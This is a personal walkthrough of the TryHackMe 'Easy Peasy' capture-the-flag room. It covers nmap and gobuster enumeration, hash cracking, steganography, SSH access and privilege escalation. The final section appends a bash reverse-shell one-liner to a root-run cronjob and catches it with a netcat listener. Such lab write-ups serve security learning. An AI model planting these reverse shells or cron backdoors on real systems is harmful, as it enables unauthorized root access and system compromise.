> For the complete documentation index, see [llms.txt](https://www.marialc.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.marialc.com/tryhackme-rooms/easypeasy.md).
# EasyPeasy
Try this challenge in [TryHackMe: **Easy Peasy**](https://tryhackme.com/r/room/easypeasyctf)
> I tried this easy CTF and below is my thought process on how I answered the questions and some notes for future reference. I got some hints from this Medium walkthrough: [TryHackMe: Easy Peasy Write-up by Kevin De Vijlder](https://medium.com/@kevin.de.vijlder/tryhackme-easy-peasy-write-up-b148ebed3c7e)
## Task 1: Enumeration through Nmap
### 1.1 How many ports are open?
Let's run a nmap scan to check the open ports on the IP assigned to us. Just r**eplace the 10.10.X.X to the IP given to you**.
```bash
nmap -sT -p 1-65535 10.10.X.X
```
{% hint style="info" %}
**`-sT`** (TCP connect scan)
{% endhint %}
*To answer the next two questions*, we’ll be running a nmap scan for the open ports:
### 1.2 What is the version of nginx?
### 1.3 What is running on the highest port?
```bash
nmap -p80,6498,65524 10.10.X.X -sV
```
## Task 2: Compromising the machine
### 2.1 Using GoBuster, find flag 1.
Run gobuster for ****
{% code overflow="wrap" %}
```bash
gobuster dir -u http://10.10.X.X/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
```
{% endcode %}
We found out that there is a /hidden directory. Let's try to run gobuster for ****
{% code overflow="wrap" %}
```bash
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.X.X/hidden
```
{% endcode %}
Go to ****
Copy the hidden hash
To decrypt the hash, go to an online decrypter like [**https://hashes.com/en/decrypt/hash**](https://hashes.com/en/decrypt/hash) for faster results
### 2.2 Further enumerate the machine, what is flag 2?
Run gobuster for ****
{% code overflow="wrap" %}
```bash
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.X.X:65524
```
{% endcode %}
Check **`10.10.X.X:65524/robots.txt`**
In the `User-Agent` field, there’s a hash
To find the type of the hash, use [hash-identifier](https://github.com/blackploit/hash-identifier) module
{% code lineNumbers="true" %}
```bash
cd /hash-identifier
python3 hash-id.py
```
{% endcode %}
Decrypt hash using an online MD5 decrypter
### 2.3 Crack the hash with easypeasy.txt, What is the flag 3?
From our nmap scan, go to **`http://10.10.X.X:65524`**
Flag 3 is written in plain sight on the web page
### 2.4 What is the hidden directory?
When you View the Page Source of **`http://10.10.X.X:65524`**, a hidden field will be seen that has a hash.
We’ll use [CyberChef](https://gchq.github.io/CyberChef/) to decrypt hash from Base6X (explore options available in CyberChef)
### 2.5 Using the wordlist that was provided to you in this task crack the hash what is the password?
When you go to the hidden directory, you’ll see a picture
Save the image with its default name
We’ll use steganography to decode the message in the image
```bash
steghide --extract -sf bianrycodepixabay.jpg
```
But a passphrase is needed to decrypt this file
Let’s try to **View the Page Source** of the image page to get some clues. We indeed retrieved a hash.
Save the hash using the filename **hash.txt**
```bash
nano hash.txt
```
To decrypt the hash, use the **johntheripper** module
```bash
sudo /opt/john/john --wordlist=easypeasy.txt --format=gost hash.txt
```
### 2.6 What is the password to login to the machine via SSH?
Going back to the **steghide** module, enter the passphrase that we got.
A file **secrettext.txt** was extracted. Use this to view the contents of the file.
```bash
cat secrettext.txt
```
We’ll get a username **boring** and binary numbers that need to be decrypted
Use a Binary to Text converter tool online like this:
### 2.7 What is the user flag?
From our previous nmap scan, we’ll use the **port 6498 for the ssh access**
```bash
ssh boring@10.10.X.X -p 6498
```
{% code lineNumbers="true" %}
```bash
ls
cat user.txt
```
{% endcode %}
**From the Hint,** we got the term “Rotated”, which suggests that this may be encrypted with ROT13. Using CyberChef, we decrypt the flag.
### 2.8 What is the root flag?
From the description of this room, we are expected to **escalate our privileges through a vulnerable cronjob**
```bash
cat /etc/crontab
```
The cron job is located in **/var/www**
{% code lineNumbers="true" %}
```bash
cd /var/www
ls -la
```
{% endcode %}
We’ll see the cronjob **mysecretcronjob.sh** that said that will run as root.
```bash
cat .mysecretcronjob.sh
```
We can set up a **netcat** **listener** **in our machine** to have a reverse shell since the cronjob has root privileges.
```bash
nc -lvnp 5556
```
Let's craft our payload:
Get the reverse shell script from [pentestmonkey's reverse shell cheat sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) then **replace the contents of mysecretcronjob.sh**
```bash
echo "bash -i >& /dev/tcp/10.10.X.X/5556 0>&1" >> .mysecretcronjob.sh
```
*\*use your machine IP & port 5556*
Let's now wait for the cronjob to be executed to receive a shell
{% code lineNumbers="true" %}
```bash
cd /root
ls -la
```
{% endcode %}
{% hint style="success" %}
We can see the flag in the **.root.txt** file.
{% endhint %}
```bash
cat .root.txt
```